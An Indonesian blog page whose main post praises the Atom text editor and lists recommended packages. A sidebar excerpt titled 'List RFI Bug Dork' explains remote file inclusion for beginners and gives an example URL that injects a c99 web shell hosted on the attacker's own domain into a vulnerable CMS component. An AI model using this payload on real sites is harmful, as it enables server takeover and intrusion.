Langsung ke konten utama

Atom Text Editor, beautiful and powerfull text editor


Saat pertama kali mencoba Atom, saya langsung jatuh cinta dengan text editor yang satu ini. cieee.... Ya, saya adalah tipikal orang yang ogah-ogahan kalau menggunakan editor yang meskipun powerfull namun ugly interfaces. Seperti halnya saat saya menggunakan Netbeans di laptop saya. ketika Netbeans berjalan di OS Windows atau OS X tidak menjadi masalah namun ketika saya menjalankannya di Linux, Oh men.... saya benar-benar merasa tidak betah menggunakannya. salah satunya karena font rendering aplikasi java di linux memang benar-benar BU(R/S)UK.
Akhirnya setelah sekian lama berkelana saya menemukan Atom. Text editor yang membuat saya jatuh cinta pada pandangan pertama :D. interfaces Atom benar-benar cantik, dengan banyak package yang tersedia membuat text editor ini semakin powerfull.
Sebelum menggunakan Atom saya lebih dulu menggunakan Brackets salah satu text editor dari Adobe. Brackets juga lumayan bagus namun yang saya tidak suka Brackets tidak menggunakan tabs untuk menampilkan file-file yang sedang dibuka. melainkan menampilkannya di sidebar, jadi ketika saya membuka project dengan banyak file/folder sidebar saya seperti ular naga yang begitu panjang ke bawah.
OK. balik lagi ke Atom. Untuk mendapatkan text editor ini, teman-teman dapat mengunduhnya di situs resminya https://atom.io Sebenarnya atom dibuat untuk OSX namun mereka juga memberikan versi OS lainnya seperti windows / Ubuntu 64bit. Bagi teman-teman yang menggunakan Ubuntu 32 bit bisa compile sendiri atau menambahkan repository: ppa:webupd8team/atom
Berikut beberapa package yang bisa saya rekomendasikan untuk di install di Atom:
1. Emmet
2. Linter
3. Linter JSHint
4. Atom Beautify

Sekian dulu
Semoga bermanfaat

Regards,

Prastowo aGung Widodo

Komentar

Postingan populer dari blog ini

List RFI Bug Dork

Khusus buat newbie. Apa itu RFI?? RFI atau Remote File Inclusion adalah salah satu metode hacking dengan menginclude file. Tool yang sering dipakai adalah C99 shell injection atau R57 shell injection. Metodenya sangat sederhana. Ketika kita sudah mendapatkan target, kita hanya perlu menginclude file C99 atau R57 nya. sebagai contoh: kita mempunyai target http://domain-name.com/administrator/components/com_comprofiler/plugin.class.php?mosConfig_absolute_path= maka disini kita include file c99 nya, menjadi http://domain-name.com/administrator/components/com_comprofiler/plugin.class.php?mosConfig_absolute_path=http://domain-kita.com/c99.txt Jika berhasil maka kita akan dapat masuk ke dalam server target dengan c99 shell berikut beberapa list RFI Bug Dork. Ini hanya sekedar informasi, jadi bagi yang merasa memakai CMS dengan module-module yang masuk dalam list berikut, segera update module nya atau segera perbaiki bugs nya. Semoga bermanfaat. =====================

Format tanggal otomatis menggunakan javascript

Biasanya pada aplikasi-aplikasi php yang kita buat seringkali harus merubah dari format tanggal mysql ke format tanggal yang sesuai dengan keinginan kita. contohnya: <div>     <?php echo date('d F Y', strtotime($row['mysql_date'])); ?> </div> Nah kita bisa persingkat kode kita dengan menyisipkan sedikit javascript dan biarkan browser yang memprosesnya :) Pertama-tama yang kita butuhkan adalah: 1. jQuery 2. Moment JS <script type="text/javascript" src="path to jquery.js"></script> <script type="text/javascript" src="path to moment.js"></script> <script type="text/javascript"> if($('.format-date').length > 0){         $('.format-date').each(function(){             var ini = $(this);             var tgl = ini.text();             //moment.locale('id');             if(moment(tgl,'YYYY-MM-DD',true).isValid() || moment(tgl,&

Install Multiple PHP di Ubuntu 16.04

Terkadang saya membutuhkan versi PHP yang berbeda untuk beberapa project. Waktu di Ubuntu 14.04 saya masih bisa menggunakan versi PHP bawaan Ubuntu, waktu itu versi 5.5 namun setelah upgrade ke Ubuntu 16.04, ada sedikit masalah karena bawaan Ubuntu 16.04 menggunakan PHP versi 7.0 dimana beberapa project tidak bisa berjalan dengan baik di PHP 7. Akhirnya untuk mengatasi masalah berikut, jalan satu-satunya adalah mengcompile sendiri PHP versi 5.x di Ubuntu 16.04.  Saya sengaja compile dua versi PHP, 5.5 dan 5.6 untuk jaga-jaga kalau ternyata script tidak berjalan di PHP 5.6, saya bisa menggunakan versi 5.5. Beberapa artikel di Internet menyarankan untuk menggunakan fast-cgi agar bisa menjalankan banyak versi PHP sekaligus, namun karena spesifikasi laptop saya yang rendah, saya lebih menggunakan versi CLI dengan membuat PHP Switcher. Bagi temen-temen yang ingin menggunakan versi build PHP 5.5 dan 5.6 yang saya gunakan di Ubuntu 16.04 bisa menambahkan ppa:agungwidodo/tphp di source